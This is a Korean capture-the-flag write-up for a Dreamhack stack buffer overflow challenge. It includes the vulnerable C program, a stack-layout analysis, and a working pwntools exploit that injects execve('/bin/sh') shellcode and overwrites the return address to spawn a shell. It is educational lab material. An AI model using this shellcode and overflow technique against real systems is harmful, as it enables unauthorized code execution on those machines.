#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
alarm_handler(): "TIME OUT"을 출력하고 프로그램을 끝낸다
initialize(): setvbuf로 stdin과 stdout을 초기화 하고, signal과 alarm 함수를 통해서 30초 후에 alarm_handler를 호출한다.
main():
printf("buf = (%p)\n", buf) -> buf의 주소를 출력해준다.
scanf("%141s", buf); -> buf에 입력 받는다.
buf의 크기는 0x80 만큼 주어졌다.
파일: ELF 32-bit 파일
호출 규약: SYSV
linking 방식: dynamically linked
모든 보호기법이 해제되어 있음.
printf로 buf의 주소를 출력해 준다.
buf의 주소를 읽어들인 후
buf를 입력받을 때 shellcode 및 dummy 값들로 buf와 SFP값을 채우고, RET에 buf의 주소를 넣어 주면, shell이 실행될 것이다.
pwntools의 recv를 활용해서 화면에 출력되는 buf의 주소를 가져온다.
main+28
ebp-0x80의 값을 eax에 넘기고
main+31
eax를 push 해서 스택에 쌓는다.
main+32
0x80486a5를 push 해서 스택에 쌓는다.
x86-32에서의 함수호출 규약에서는 스택으로 인자를 전달한다.
scanf("%141s", buf); 에서 buf는 두번째 인자이다. 따라서 ebp-0x80부터 buf의 공간임을 알 수 있다.
shellcode를 직접 구해서 입력한다.
scanf("%141s", buf); 에서 141만큼 입력을 제한한다.
하지만 141은 16진수로 0x8d 이다.
buf는 0x80 bytes이고, SFP와 RET은 모두 4bytes이다. (x86-32 bit 바이너리이므로) 총 0x88bytes의 공간을 사용해서 exploit을 할 수 있다.
buf에 {shellcode와 dummy값(0x80)} + SFP dummy값(0x4) + RET(buf의 주소)를 하면 0x8d의 제한에 걸리지 않고 shell을 획득할 수 있다.
따라서 scanf의 제한을 피해서 exploit을 할 수 있다.
stack shellcode & dummy(0x80) SFP dummy * 0x4 buf address
from pwn import *
# p = remote("서버", 포트)
p = process('./basic_exploitation_000')
p.recvuntil('buf = (')
buf_address = int(p.recv(10), 16)
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
# 총 26bytes의 shellcode이다.
payload += b'\x90'*106
# 0x80 = 128,
# 128(buf) + 4(SFP) = 132 = 26(shellcode) + 106(dummy)
payload += p32(buf_address)
p.send(payload)
p.interactive()
Stack 영역에 shellcode를 삽입 후, return address를 stack영역의 buf의 주소로 Overwrite 한 후, shell을 획득하는 문제였다.
문제에서 %p를 통해, buf의 주소를 출력해 주어서 굉장히 편하게 풀 수 있었다.
다음 시간에도 Stack Buffer Overflow의 다른 문제를 풀어보자.
https://dreamhack.io/wargame/challenges/2/?writeup_id (문제 출처)